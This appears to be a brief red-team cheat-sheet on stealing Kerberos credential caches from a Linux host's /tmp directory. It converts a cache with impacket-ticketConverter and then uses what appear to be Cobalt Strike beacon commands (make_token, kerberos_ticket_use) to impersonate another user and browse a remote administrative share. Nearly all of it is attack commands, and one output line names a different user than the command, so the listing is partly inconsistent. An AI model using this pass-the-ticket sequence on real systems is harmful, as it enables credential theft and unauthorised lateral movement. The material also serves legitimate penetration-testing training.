Linux Credential Cache

# Located in tmp dir with prefix of krb5cc
svc_oracle@nix-1:~$ ls -l /tmp/
total 20
-rw------- 1 jking      domain users 1342 Mar  9 15:21 krb5cc_1394201122_MerMmG
-rw------- 1 svc_oracle domain users 1341 Mar  9 15:33 krb5cc_1394201127_NkktoD

# Convert from ccache to kirbi
root@kali:~# impacket-ticketConverter krb5cc_1394201122_MerMmG jking.kirbi

# Login
beacon> make_token DEV\jking FakePass
[+] Impersonated DEV\bfarmer

beacon> kerberos_ticket_use C:\Users\Administrator\Desktop\jking.kirbi

beacon> ls \\srv-2\c$